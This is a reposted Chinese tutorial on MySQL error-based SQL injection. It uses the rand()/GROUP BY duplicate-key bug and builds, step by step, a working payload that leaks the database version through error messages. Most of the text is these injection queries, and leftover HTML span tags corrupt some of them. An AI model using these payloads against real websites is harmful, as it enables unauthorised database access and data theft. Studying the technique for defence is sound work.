网站MYSQL数据库高级爆错注入原分析

2025-3-7 12:38| 发布者: CZN| 查看: 24| 评论: 0|原作者: 脚本之家|来自: jb51.net

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:
SQL Code 复制内容到剪贴板

use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1) ,a, count(*) from r1 group by 1;

于是便可以这样拿来爆错注入了。

复制代码代码如下:
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战

复制代码代码如下:
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误选择的列应该为一个。那么。我们换一下

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

复制代码代码如下:
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名那好办

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

复制代码代码如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者：小残绳命不息 |折腾不止

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网站MYSQL数据库高级爆错注入原分析

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